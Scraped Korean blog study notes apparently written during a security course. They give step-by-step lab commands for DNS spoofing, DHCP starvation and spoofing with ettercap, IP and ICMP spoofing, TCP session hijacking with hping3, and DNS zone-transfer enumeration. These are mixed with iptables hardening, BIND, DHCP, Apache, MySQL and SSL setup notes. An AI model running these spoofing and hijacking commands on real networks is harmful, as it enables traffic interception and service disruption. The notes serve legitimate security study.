DNS Attack

칼리

아파치
service apache2 start

아파치 설정파일
vim /etc/apache2/apache2.conf 

startbootstrap-agency-gh-pages 디렉터리를 /var/www/html로 받고
var/www/html에 있던 기존  index.html파일은 지우고 tartbootstrap-agency-gh-pages 안에 있던 파일들을 /var/www/html로 꺼내놓는다.
그리고 모든 파일을 775로 변경한다
chmod 755 -R ./*  

service apache2 restart 해준다.

원래는 똑같은 홈페이지를 준비해야 하지만 지금은 연습이므로
index.html파일 열어서 해킹 성공했는지 쉽게 알아볼 수 있게 내용을 변경해준다.

dnsspoof이 실행되는지 확인 후 

vim /usr/share/dsniff/dnsspoof.hosts 안에 
10.10.10.40  www.test.com 을 추가한다.

arpspoof -t 10.10.10.10 10.10.10.200  실행
fragrouter -B1 중단 (억지로 성공하기 위해서..)

- /usr/share/dsniff/dnsspoof.hosts파일에 있는 목록과 일치하는 요청이 있으면 응답을 보내라
dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts 실행


칼리
dhcpx 로 다운받기
DHCP Attack
- DHCP Starvation Tool
  > 맥주소를 변경하여 계속 할당요청하여 dhcp ip를 고갈시키는 공격
- 윈도우에서 아무것도 할당 받지 않았던 상태에서 해야함
dhcpx -i eth0 -vvv -D 10.10.10.30  

윈도우 ipconfig 설정 지우기
ipconfig /release

dhcp 할당 로그 확인
 tail -f /var/lib/dhcpd/dhcpd.leases



DHCP Spoofing

단방향 공격
- 공격자 GW로 변경되어 할당받음
ettercap -T -M dhcp:10.10.10.240-249/255.255.255.0/10.10.10.30(dns설정)

양방향 공격
- 응답까지 캡쳐할 수 있게 함
- 네트워크 추가하기 eth1
- 추가한 네트워크 eth1 에 192.168.0.254/24로 네트워크 설정 후 재부팅

-Sysctl 활성화 하기
sysctl net.ipv4.ip_forward=1
-natpat로 라우팅하기
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

ettercap -i eth1 -T -M dhcp:192.168.0.10-19/255.255.255.0/8.8.8.8 
> ettercap 실행 후 윈도우에서 ip할당 받고 ettercap 실행 종료 후 윈도우에서 ping 보내지는지 확인

'정보보안 > 공부 기록' 카테고리의 다른 글

get, CC, hult  (0) 2023.01.01
DOS  (0) 2023.01.01
IP/Icmp spoofing, TCP Session Hijackin  (0) 2023.01.01
모의해킹  (0) 2023.01.01
Kail  (0) 2023.01.01

ip spoofing

> ifconfig eth0:1 10.10.10.10(접근, 우회할 수 있는ip) netmask 255.255.255.0설정 후 
> arpspoof -t 10.10.10.30 10.10.10.10 실행 시킴
> ssh 10.10.10.30
> ssh -d 10.10.10.10 10.10.10.30


※ ssh 연결 되도록 키 설정 (칼리)
vim /etc/ssh/ssh_config 로 들어가서 
맨 마지막에 아래 두줄 추가
HostKeyAlgorithms +ssh-rsa
PubKeyAcceptedKeyTypes +ssh-rsa


ICMP Spoofing 
hping3 -1 -C 5 -K 1 --icmp-gw 10.10.10.40(공격자주소) --icmp-ipsrc 10.10.10.10(출발지) --icmp-ipdst 8.8.8.8(목적지) -a 10.10.10.254 10.10.10.10(10.10.10.254에서 10.10.10.10으로 보내는 것처럼 보이도록)



CentOS 리다이렉트 사용하지 않도록 설정
- CentOS에서 route table 확인하기
sysctl -a | grep "redirect" | grep -v "ipv6" | grep -v "route" 
-v는 현재 단어 제외하고 출력

- sysctl 로 위에 있는 항목들 1에서 0으로 변경
- 재시작하면 다시 1로 돌아옴
- 영구적으로 저장하려면 vim /etc/sysctl.conf 에서 설정 
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.eth0.secure_redirects = 0
net.ipv4.conf.eth0.send_redirects = 0

Iptables 로 리다이렉트 차단방법
iptables -A INPUT -p icmp --icmp-type redirect -j DROP



TCP Seeeion Hijackin
xp, CentOS에 nc 다운받고 CentOS에서는 명령프롬프트에 nc 포트번호(사용하지 않을만한 포트)실행 후
XP에서 nc 서버주소 서버포트 입력 후 실행 하고 와이어샤크로 tcp.port == 포트번호 입력하면 3ways 주고받은 이력을 확인 할 수 있다.


칼리(hacker)
──(root㉿kali)-[~]
└─# echo "Hijacking" > data
                                                                                                  
┌──(root㉿kali)-[~]
└─# ls -l data
-rw-r--r-- 1 root root 10 Sep  7 01:59 data
                                                                                                  
┌──(root㉿kali)-[~]
└─# cat data
Hijacking

클라이언트 IP : 10.10.10.10
클라이언트 Port : 1113
서버 IP : 10.10.10.30
서버 Port : 9000

클 -> 서
SEQ.Num : 921534120
ACK.Num : 3287397952
wireshark에서 마지막 패킷에 써있는 SEQ, SCK Num 를 입력한다.

hping3 -a 10.10.10.10 -s 1042 -p 7777 -M 2684757223 -L 2268562977  -E data1 -d 15 -P -A -c 1 10.10.10.30


'정보보안 > 공부 기록' 카테고리의 다른 글

DOS  (0) 2023.01.01
DNS/DHCP Attack  (0) 2023.01.01
모의해킹  (0) 2023.01.01
Kail  (0) 2023.01.01
Iptables  (0) 2023.01.01

로그 기본경로
[root@localhost ~]# cd /var/log
ls 로 목록 확인하면 그안에 httpd 디렉터리가 있음

httpd 디렉터리로 이동해서 목록 확인을 하면 두개의 로그 디렉터리가 있음
[root@localhost log]# cd httpd
[root@localhost httpd]# ls
access_log  error_log

access_log는 성공했을때 로그
error_log는 실패했을 때 로그

목록노출을 보완하기 위한 방법
1. index.html 파일 만들기
- touch로 index.html 파일을 만들어주면 www.pt.com/backup/ 경로로 접속시 
  index.html 이 열리면서 빈 화면을 보여줌으로써 디렉터리 목록을 가려준다.
[root@localhost startbootstrap-agency-gh-pages]#mkdir backup
[root@localhost startbootstrap-agency-gh-pages]#echo "password is P@ss0rd" > backup/secret.txt
[root@localhost startbootstrap-agency-gh-pages]#cd backup
[root@localhost backup]# touch index.html
[root@localhost backup]# ls -l
합계 4
-rw-r--r-- 1 root root  0 2022-08-30 09:50 index.html
-rw-r--r-- 1 root root 21 2022-08-30 09:43 secret.txt
[root@localhost backup]# 

2.indexes 제거
- 목록 정보를 허용하지 않을때 사용
환경설정
[root@localhost backup]# vim /etc/httpd/conf/httpd.conf 

331     Options FollowSymLinks
(Options Indexes FollowSymLinks 에서 Indexes 단어 지움)
(실습 후 다시 써줌)

[root@localhost backup]# service httpd restart

버전정보 노출 정도 선택
- 오른쪽으로 갈 수록 더 많은 정보를 노출 함
Prod -> Major -> Minor -> Min -> OS -> Full
-ServerTockens XXX 방식으로 지정
- 노출을 최소화시켜 보안을 강화


리눅스에서 whois 검색하기
1. yum 으로 nc(패킷을 생성할 수 있는 툴) 받기
2. nc whois.kisa.or.kr 43(whois포트번호) 형식으로 입력 후 도메인 주소 써준다.
[root@localhost backup]# nc whois.kisa.or.kr 43
google.co.kr
query : google.co.kr


1. 내가 정보수집하려는 도메인에 대한 주 네임 서버 확인
공격자 pc에서 nslookup 질의
보조네임이 주네임서버에 질의하는것처럼 공격자 pc가 보조내임인척 주네임서버에 요청
(주네임서버 rfc 파일에서 allow-update {192.168.0.201;}; 부분을 지워주고 start 해야함
-> 이부분이 보안 설정부분 이므로 여길 빼주면 누구나 접속 가능하게 할 수 있음
zone "pt.com" IN {
        type master;
        file "pt.com.zone";
        allow-update {192.168.0.201;};  (현제 테스트 할 때는 제거) 
};  )


다른 웹사이트 주네임 서버로 열리는지 확인
 
> set type=ns
>pt.com
pt.com에 대한 정보 뜸


> server 주네임 서버 (검색한 주소의 주네임서버 ip입력)
> set type=any
> ls -d pt.com
pt.com에 대한 정보가 출력됨

주네임 서버에서 allow-transfer 주석처리 후 ls -d로 질의
> 보안설정이 주석처리로 무효화 되었으므로 공격자 pc에서 주네임 서버로 질의 가능

brute forcing 사전공격 방법
우선 보조네임서버도 allow-transfer {none;}; 으로 설정후 한다
dnsenum --dnsserver 34.0.0.200 -f dns.txt pt.com


nmap -PS ip주소
nmap -PS -O ip주소
nmap -O ip주소
-PS : TCP SNK/ACK
-O : enable OS detection

DNSenum
vim dns.txt 파일안에 www, mail 등 존파일에 있는 목록이름들 작성한다.
dnsenum --dnsserver 34.0.0.200 -f dns.txt pt.com
             (공격하려는 네임서버ip) (대입할 딕셔너리 파일) (존파일)
(보조네임 서버에 allow-transfer {nine;}; 으로 설정해두어야 함!)

traceroute www.pt.com
- 경로추척

'정보보안 > 공부 기록' 카테고리의 다른 글

DNS/DHCP Attack  (0) 2023.01.01
IP/Icmp spoofing, TCP Session Hijackin  (0) 2023.01.01
Kail  (0) 2023.01.01
Iptables  (0) 2023.01.01
DNS Server  (0) 2023.01.01

인터페이스 설정
vim /etc/network/interfaces

dns 설정
- nameserver로 설정
vim /etc/resolv.conf

dns 질의
dig 도메인 이름
dig @34.0.0.200 pt.com axfr


주네임 서버에서 allow-transfer 주석처리 후 ls -d로 질의
> 보안설정이 주석처리로 무효화 되었으므로 공격자 pc에서 주네임 서버로 질의 가능

brute forcing 사전공격 방법
우선 보조네임서버도 allow-transfer {none;}; 으로 설정후 한다
dnsenum --dnsserver 34.0.0.200 -f dns.txt pt.com

nmap -PS ip주소
nmap -PS -O ip주소
nmap -O ip주소

DNSenum
vim dns.txt 파일안에 www, mail 등 존파일에 있는 목록이름들 작성한다.
dnsenum --dnsserver 34.0.0.200 -f dns.txt pt.com
             (공격하려는 네임서버ip) (대입할 딕셔너리 파일) (존파일)
(보조네임 서버에 allow-transfer {nine;}; 으로 설정해두어야 함!)

'정보보안 > 공부 기록' 카테고리의 다른 글

IP/Icmp spoofing, TCP Session Hijackin  (0) 2023.01.01
모의해킹  (0) 2023.01.01
Iptables  (0) 2023.01.01
DNS Server  (0) 2023.01.01
DHCP Server  (0) 2023.01.01

firewalld
-> CentOS7 버전에 생김 , iptables보다 사용하기 쉽지만 세세히 적용하기 힘들어 아직까지도 iptables를 사용하는 곳이 많다.

iptables 실행
[root@localhost ~]# service iptables status
iptables: 방화벽이 실행 중이 아닙니다. 
[root@localhost ~]# chkconfig --list iptables
iptables        0:해제 1:해제 2:해제 3:해제 4:해제 5:해제 6:해제
[root@localhost ~]# chkconfig --level 5 iptables on
[root@localhost ~]# chkconfig --list iptables
iptables        0:해제 1:해제 2:해제 3:해제 4:해제 5:활성 6:해제
[root@localhost ~]# 

정책 목록 출력
[root@localhost ~]# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             anywhere            state RELATED,ESTABLISHED 
ACCEPT     icmp --  anywhere             anywhere            
ACCEPT     all  --  anywhere             anywhere            
ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:ssh 
REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibited 

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibited 

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
[root@localhost ~]# 

-n을 붙혀 숫자로 표현
[root@localhost ~]# iptables -t filter -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED 
ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0           
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:22 
REJECT     all  --  0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited 

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
REJECT     all  --  0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited 

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
[root@localhost ~]# 

--line을 붙혀 정책의 순차번호 출력
[root@localhost ~]# iptables -t filter -nL --line
Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination         
1    ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED 
2    ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0           
3    ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
4    ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0           state NEW tcp dpt:22 
5    REJECT     all  --  0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited 

Chain FORWARD (policy ACCEPT)
num  target     prot opt source               destination         
1    REJECT     all  --  0.0.0.0/0            0.0.0.0/0           reject-with icmp-host-prohibited 

Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination         
[root@localhost ~]# 

nat 정책 목록(현재는 설정해 놓은게 없어서 리스트가 없다)
[root@localhost ~]# iptables -t nat -nL
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination         

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
[root@localhost ~]# 


통신을 가능하게 하려면 양쪽다 허용
통신을 불가능하게 하려면 한쪽만 거부
iptables input DROP 설정 (filter table 생략가능)
[root@localhost ~]# iptables -t filter -P INPUT DROP

iptables input ACCEPT 설정 (filter table 생략가능)
[root@localhost ~]# iptables -t filter -P INPUT ACCEPT

iptables output DROP 설정 (filter table 생략가능)
[root@localhost ~]# iptables -t filter -P OUTPUT DROP

iptables output ACCEPT 설정 (filter table 생략가능)
[root@localhost ~]# iptables -t filter -P OUTPUT ACCEPT

append와 출발지 ip 사용 (-s or --source)
-append는 마지막부분에 추가된다.
[root@localhost ~]# iptables -A INPUT -s 1.1.1.1

insert는 따로 지정 없으면 최상위에 추가된다.
[root@localhost ~]# iptables -I INPUT -s 3.3.3.3
위치 지정은 INPUT 뒤에 숫자를 쓴다
[root@localhost ~]# iptables -I INPUT 2 -s 4.4.4.4


삭제는 -D or --delete 를 사용하고 INPUT 뒤에 지울 번호를 쓴다.
[root@localhost ~]# iptables -D INPUT 3

모든 정책 한번에 삭제 -F or --Flush
[root@localhost ~]# iptables -F INPUT

주요옵션 확인
[root@localhost ~]# iptables -h

특정 프로토콜 지정 할 수 있는 목록 확인
[root@localhost ~]# iptables -p tcp -h

-j REJECT
- 패킷 차단 하지만 차단된 패킷에 대한 응답을 전달
[root@localhost ~]# iptables -A INPUT -s 192.168.30.20 -j REJECT

iptable 저장 후 종료
[root@localhost ~]# service iptables save
iptables: 방화벽 규칙을 /etc/sysconfig/iptables에 저장 중: [  OK  ]
[root@localhost ~]# 
[root@localhost ~]# service iptables stop
iptables: 체인을 ACCEPT 규칙으로 설정 중:  nat filter      [  OK  ]
iptables: 방화벽 규칙을 지웁니다:                          [  OK  ]
iptables: 모듈을 언로드하는 중:                            [  OK  ]

icmp 세부설정
iptables -I INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -I OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT


사용자 정의 체인
- 연관 정책들에 대한 그룹지정 용도로 사용
iptables -N 이름


iptables -F 로 정책 전체 지울때 사용자정의 체인은 지원지지 않는다.

사용자 정의 체인 삭제 명령어 -X
iptables -X 이름 

외부에서 내부로 들어올 때는 기본 정책이 거부이고 화이트리스트 방식
(INPUT 은 거부)
내부에서 외부로 보낼 때는 기본 정책이 허용이고 블랙리스트 방식
(OUTPUT은 허용)


1개의 정책으로 여러가지 port 설정
iptables -A INPUT -p tcp -m multiport -s 192.168.30.0/24 --dport 23,2222 -j ACCEPT

icmp redirect 차단하기
iptables -A INPUT -p icmp --icmp-type redirect -j DROP










'정보보안 > 공부 기록' 카테고리의 다른 글

모의해킹  (0) 2023.01.01
Kail  (0) 2023.01.01
DNS Server  (0) 2023.01.01
DHCP Server  (0) 2023.01.01
인코딩, Join, view  (0) 2023.01.01

[root@localhost ~]# yum install bind*

기본설정:
[root@localhost ~]# cd /var/named/
[root@localhost named]# vim /etc/named.conf

도메인 등록
[root@localhost named]# vi /etc/named.rfc1912.zones 

zone "kh.com" IN{
        type master;
        file "kh.com.zone";
};

[root@localhost ~]# cd /var/named/
[root@localhost named]# ls
chroot  data  dynamic  named.ca  named.empty  named.localhost  named.loopback  slaves

named.localhost 복사
[root@localhost named]# cp named.localhost kh.com.zone
[root@localhost named]# ls -l
합계 36
drwxr-x--- 6 root  named 4096 2022-07-11 20:38 chroot
drwxrwx--- 2 named named 4096 2016-03-16 22:25 data
drwxrwx--- 2 named named 4096 2016-03-16 22:25 dynamic
-rw-r----- 1 root  root   152 2022-07-11 20:39 kh.com.zone
-rw-r----- 1 root  named 2075 2014-04-23 21:57 named.ca
-rw-r----- 1 root  named  152 2009-12-15 21:27 named.empty
-rw-r----- 1 root  named  152 2007-06-21 19:09 named.localhost
-rw-r----- 1 root  named  168 2009-12-15 21:27 named.loopback
drwxrwx--- 2 named named 4096 2016-03-16 22:25 slaves

소유그룹 변경
[root@localhost named]# chown :named kh.com.zone 
[root@localhost named]# ls -l
합계 36
drwxr-x--- 6 root  named 4096 2022-07-11 20:38 chroot
drwxrwx--- 2 named named 4096 2016-03-16 22:25 data
drwxrwx--- 2 named named 4096 2016-03-16 22:25 dyna
-rw-r----- 1 root  named  152 2022-07-11 20:39 kh.com.zone
-rw-r----- 1 root  named 2075 2014-04-23 21:57 named.ca
-rw-r----- 1 root  named  152 2009-12-15 21:27 named.empty
-rw-r----- 1 root  named  152 2007-06-21 19:09 named.localhost
-rw-r----- 1 root  named  168 2009-12-15 21:27 named.loopback
drwxrwx--- 2 named named 4096 2016-03-16 22:25 slaves

파일 수정
[root@localhost named]# vim kh.com.zone

$TTL 1D
@       IN SOA  ns1.kh.com. linux.kh.com (

                                        0       ; serial
                                        1D      ; refresh
                                        1H      ; retry
                                        1W      ; expire
                                        3H )    ; minimum
        NS      ns1.kh.com.
ns1     A       40.40.40.40
linux   A       40.40.40.100
                                   
서비스 재시작
[root@localhost named]# service named restart

[root@localhost named]# chkconfig --level 5 named on
[root@localhost named]# chkconfig --list named


win7 에서
nslookup 에서
server x.x.x.x로 변경가능

-----------------------------------

네임서버를 두대 이상으로 구성한다면 주 네임 서버(한대)와 보조 네임(한대이상) 서버를 만든다

주 네임 서버 (192.168.30.20)에서
[root@localhost named]# vim kh.com.zone 
로 들어가서 NS를 추가한다
$TTL 1D
@       IN SOA  ns1.kh.com. admin.kh.com. (
                                        0       ; serial
                                        1D      ; refresh
                                        1H      ; retry
                                        1W      ; expire
                                        3H )    ; minimum
        NS      ns1.kh.com.
        NS      ns2.kh.com.
ns1     A       192.168.30.20cd 
ns2     A       192.168.30.30
hello   A       192.168.30.10
server3 A       192.168.30.30
aidmin  A       192.168.30.100

그리고 보조 네임 서버 (192.168.30.30)에서
[root@localhost named]# vi /etc/named.rfc1912.zones 
안에 아래의 내용으로 변경한다.
zone "kh.com" IN {
        type slave;
        file "slaves/kh.com.zone";
        masters { 192.168.30.20; };
};

그리고 기존에 있던 kh.com.zone을 삭제한다.
 [root@localhost named]# rm kh.com.zone

(주네임서버 변경 후)
named 재시작 후 kh.com.zone 파일을 열어 확인한다.
[root@localhost named]# service named restart
named 정지 중:                                             [  OK  ]
named 시작 중:                                             [  OK  ]
[root@localhost named]# ls
chroot  dynamic   named.empty      named.loopback
data    named.ca  named.localhost  slaves
[root@localhost named]# cd slaves
[root@localhost slaves]# ls
kh.com.zone
[root@localhost slaves]# vim kh.com.zone
[root@localhost slaves]# 



캐시정보를 지울때
[root@localhost named]# rndc flush


* vim 파일 열었을 때 swp 임시파일 내용이 뜬다면 임시저장된 파일을 지워야한다. 창 뜬곳에서 d 누르면 지워짐


조건부 전달자 (영상보고 다시 작성하기)
첫번째 방법
모든 요청에 대해서 전달자를 사용
[root@localhost named]# vim /etc/named.conf
option에 추가하면 모든 사용자에대해 전달자를 사용한다는 뜻
forward first;
        forwarders {45.0.0.200;};

두번째 방법
특정 도메인에 대해서만 전달자를 사용하는 조건부 전달자
[root@localhost named]# vim /etc/named.rfc1912.zones 
zone 추가 (특정 대상)
zone "a.com" IN {
        type forward;
        forward only;
        forwarders {12.0.0.200;};
};








'정보보안 > 공부 기록' 카테고리의 다른 글

Kail  (0) 2023.01.01
Iptables  (0) 2023.01.01
DHCP Server  (0) 2023.01.01
인코딩, Join, view  (0) 2023.01.01
SSL  (0) 2023.01.01

dhcp 설정

[root@localhost ~]# cd /etc/dhcp
[root@localhost dhcp]# ls
dhclient.d  dhcpd.conf  dhcpd6.conf
[root@localhost dhcp]# cp /usr/share/doc/dhcp-4.1.1/dhcpd.conf.sample ./dhcpd.conf
cp: overwrite `./dhcpd.conf'? y
[root@localhost dhcp]# 
[root@localhost dhcp]# vim dhcpd.conf  (설정)

# A slightly different configuration for an internal subnet.
subnet 192.168.20.0 netmask 255.255.255.0 {
  range 192.168.20.101 192.168.20.150;
  option domain-name-servers 192.168.10.200;
  option domain-name "a.com";
  option routers 192.168.20.254;
  option broadcast-address 192.168.20.255;
  default-lease-time 600;
  max-lease-time 7200;
}

[root@localhost dhcp]# service dhcpd start
dhcpd (을)를 시작 중:                                      [  OK  ]
[root@localhost dhcp]# 

임대한(할당된) ip 테이블 확인
[root@localhost dhcp]# vi /var/lib/dhcpd/dhcpd.leases

Win dhcp 변경
네트워크 연결에서 자동으로 ip 할당 선택


CentOS dhcp 변경
[root@localhost ~]# vi /etc/sysconfig/network-scripts/ifcfg-eth0
[root@localhost ~]# service network restart


'정보보안 > 공부 기록' 카테고리의 다른 글

Iptables  (0) 2023.01.01
DNS Server  (0) 2023.01.01
인코딩, Join, view  (0) 2023.01.01
SSL  (0) 2023.01.01
Mail Server  (0) 2023.01.01

DBMS 기본 인코딩 설정
vim /etc/my.cnf 

[client] (추가)
default-character-set=utf8

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
user=mysql
# Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links=0
(추가)
init_connect=SET collation_connection = utf8_general_ci
init_connect=SET NAMES utf8
character-set-server=utf8
collation-server=utf8_general_ci

[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

[mysqldump] (추가)
default-character-set=utf8

[mysql] (추가)
default-character-set=utf8
"/etc/my.cnf" 23L, 507C                                                              2,1          모두


데이터베이스 확인
how create database entest; 

데이터베이스 안에 테이블은 별도 설정이 없다면 데이터베이스 설정을 따라간다.

ascii 로 지정하여 데이터베이스 생성
create database entest2 default character set ascii;
euckr 로 지정하여 데이터베이스 생성
create database entest3 default character set euckr;
utf8로 변경
alter database entest3 default character set utf8;

테이블 생성
mysql> create table entest.entable ( no int auto_increment primary key, name varchar(20) );

mysql> create table entest2.entable ( no int auto_increment primary key, name varchar(20) );

인코딩 설정 확인 
- 데이터베이스에 상속받아 데이터베이스와 같은 결과를 보여준다.
show create table entest.entable;
show create table entest2.entable;

엔진 확인
show engines;

select table_name, engine from information_schema.tables where table_schema='naver_db';
+------------+--------+
| table_name | engine |
+------------+--------+
| member     | MyISAM |
+------------+--------+

기본 엔진임시변경
set global storage_engine = InnoDB;
설정 후 나갔다가 다시 접속해서 확인해보면 default값이 변경되어잇다.
show engines;

+------------+---------+------------------------------------------------------------+--------------+------+------------+
| Engine     | Support | Comment                                                    | Transactions | XA   | Savepoints |
+------------+---------+------------------------------------------------------------+--------------+------+------------+
| MRG_MYISAM | YES     | Collection of identical MyISAM tables                      | NO           | NO   | NO         |
| CSV        | YES     | CSV storage engine                                         | NO           | NO   | NO         |
| MyISAM     | YES     | Default engine as of MySQL 3.23 with great performance     | NO           | NO   | NO         |
| InnoDB     | DEFAULT | Supports transactions, row-level locking, and foreign keys | YES          | YES  | YES        |
| MEMORY     | YES     | Hash based, stored in memory, useful for temporary tables  | NO           | NO   | NO         |
+------------+---------+------------------------------------------------------------+--------------+------+------------+

mysqld 를 재시작하면 다시 원래대로 돌아온다.

inner join 
- 내부 조인
- 두 테이블 모두 조건구문에 일치하는 데이터만 반환

첫번째 방식
select m_category, m_name, m_seller, s_level, s_attack from market inner join sword on m_name = s_name;
두번째 방식
select m_category, m_name, m_seller, s_name, s_level, s_attack from market, sword where m_name = s_name;

+------------+-----------+-----------+---------+----------+
| m_category | m_name    | m_seller  | s_level | s_attack |
+------------+-----------+-----------+---------+----------+
| 검         | 곤륜검    | everynick |      50 |      540 |
| 검         | 풍뢰검    | ruina     |      45 |      263 |
+------------+-----------+-----------+---------+----------+

OUTER JOIN

left outer join
select m_category, m_name, m_seller, s_level, s_attack from market left join sword on m_name = s_name;
+------------+-----------------+-----------+---------+----------+
| m_category | m_name          | m_seller  | s_level | s_attack |
+------------+-----------------+-----------+---------+----------+
| 지팡이     | 촉마지팡이      | merry     |    NULL |     NULL |
| 검         | 곤륜검          | everynick |      50 |      540 |
| 기공패     | 곤륜기공패      | jamienick |    NULL |     NULL |
| 검         | 풍뢰검          | ruina     |      45 |      263 |
+------------+-----------------+-----------+---------+----------+

right outer join
select m_category, m_name, m_seller, s_level, s_attack from market right join sword on m_name = s_name;
+------------+-----------+-----------+---------+----------+
| m_category | m_name    | m_seller  | s_level | s_attack |
+------------+-----------+-----------+---------+----------+
| 검         | 곤륜검    | everynick |      50 |      540 |
| NULL       | NULL      | NULL      |      36 |      147 |
| NULL       | NULL      | NULL      |      20 |       64 |
| 검         | 풍뢰검    | ruina     |      45 |      263 |
+------------+-----------+-----------+---------+----------+



집합연산자
union
- 첫번째 select된 레코드 먼저 출력되고 그다음 select 된 레코드가 출력된다.
- 첫번째 컬럼이 출력된다.
select m_category, m_name, m_seller from market union select s_name, s_level, s_attack from sword;
+------------+-----------------+-----------+
| m_category | m_name          | m_seller  |
+------------+-----------------+-----------+
| 지팡이     | 촉마지팡이      | merry     |
| 검         | 곤륜검          | everynick |
| 기공패     | 곤륜기공패      | jamienick |
| 검         | 풍뢰검          | ruina     |
| 곤륜검     | 50              | 540       |
| 염화검     | 36              | 147       |
| 요마검     | 20              | 64        |
| 풍뢰검     | 45              | 263       |
+------------+-----------------+-----------+


select * from staff union select * from sword;
+-----------------+---------+----------+
| f_name          | f_level | f_attack |
+-----------------+---------+----------+
| 촉마지팡이      |      50 |      311 |
| 유성지팡이      |      50 |      400 |
| 곤륜검          |      50 |      540 |
| 염화검          |      36 |      147 |
| 요마검          |      20 |       64 |
| 풍뢰검          |      45 |      263 |
+-----------------+---------+----------+

aliace 별칭
- 컬럼명 as 별칭
select s_name as name, s_attack as attack from sword union select f_name, f_attack from staff;
+-----------------+--------+
| name            | attack |
+-----------------+--------+
| 곤륜검          |    540 |
| 염화검          |    147 |
| 요마검          |     64 |
| 풍뢰검          |    263 |
| 촉마지팡이      |    311 |
| 유성지팡이      |    400 |
+-----------------+--------+

- 컬럼명 as 별칭 에서 as는 생략가능
select s_name name, s_attack attack from sword union select f_name, f_attack from staff;
+-----------------+--------+
| name            | attack |
+-----------------+--------+
| 곤륜검          |    540 |
| 염화검          |    147 |
| 요마검          |     64 |
| 풍뢰검          |    263 |
| 촉마지팡이      |    311 |
| 유성지팡이      |    400 |
+-----------------+--------+

 뷰 - view
- 가상테이블, 논리적인 독립성 제공
- 따로 실체가 없다. 기존에 있던것을 select해서 출력하는 것이다.
- view 는 데이터베이스(뷰) art_board_list 테이블(뷰)
create view art_board_list as select b_subject, u_name, reg_date from art_board join art_member on b_id=u_id;
Query OK, 0 rows affected (0.00 sec)

mysql> show tables;
+---------------------+
| Tables_in_artist_db |
+---------------------+
| art_board           |
| art_board_list      |
| art_member          |
+---------------------+

뷰도 수정할 수 있다.
alter view art_board_list as 
    -> select b_no, b_subject, u_name, reg_date from art_board, art_member where b_id=u_id;

뷰에서 insert는 조건에따라 가능하다.

'정보보안 > 공부 기록' 카테고리의 다른 글

DNS Server  (0) 2023.01.01
DHCP Server  (0) 2023.01.01
SSL  (0) 2023.01.01
Mail Server  (0) 2023.01.01
OSPF  (0) 2023.01.01

https 접속하기 위해 개인 인증서 만들기 
[root@localhost ~]# rpm -qa openssl (openssl 설치 되어 있는지 확인)
openssl-1.0.1e-42.el6.x86_64
[root@localhost ~]# yum install mod_ssl

[root@localhost ~]# rpm -qa mod_ssl
mod_ssl-2.2.15-47.el6.centos.4.x86_64
[root@localhost ~]# openssl req -nodes -newkey rsa:2048 -keyout a.key -out a.csr
Generating a 2048 bit RSA private key
...........................................................................................+++
......................+++
writing new private key to 'a.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:KR
State or Province Name (full name) []:Seoul
Locality Name (eg, city) [Default City]:Gangnam
Organization Name (eg, company) [Default Company Ltd]:a 
Organizational Unit Name (eg, section) []:a
Common Name (eg, your name or your server's hostname) []:a.com
Email Address []:my@a.com

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
[root@localhost ~]# openssl x509 -req -days 365 -in a.csr -signkey a.key -out a.crt
Signature ok
subject=/C=KR/ST=Seoul/L=Gangnam/O=a/OU=a/CN=a.com/emailAddress=my@a.com
Getting Private key

[root@localhost ~]# cp a.crt /etc/pki/tls/certs/a.crt
[root@localhost ~]# cp a.key /etc/pki/tls/private/a.key
[root@localhost ~]# cp a.csr /etc/pki/tls/private/a.csr
[root@localhost ~]# vi /etc/httpd/conf.d/ssl.conf 
#   Server Certificate:
# Point SSLCertificateFile at a PEM encoded certificate.  If
# the certificate is encrypted, then you will be prompted for a
# pass phrase.  Note that a kill -HUP will prompt again.  A new
# certificate can be generated using the genkey(1) command.
#SSLCertificateFile /etc/pki/tls/certs/localhost.crt (주석처리)
SSLCertificateFile /etc/pki/tls/certs/a.crt (추가)

#   Server Private Key:
#   If the key is not combined with the certificate, use this
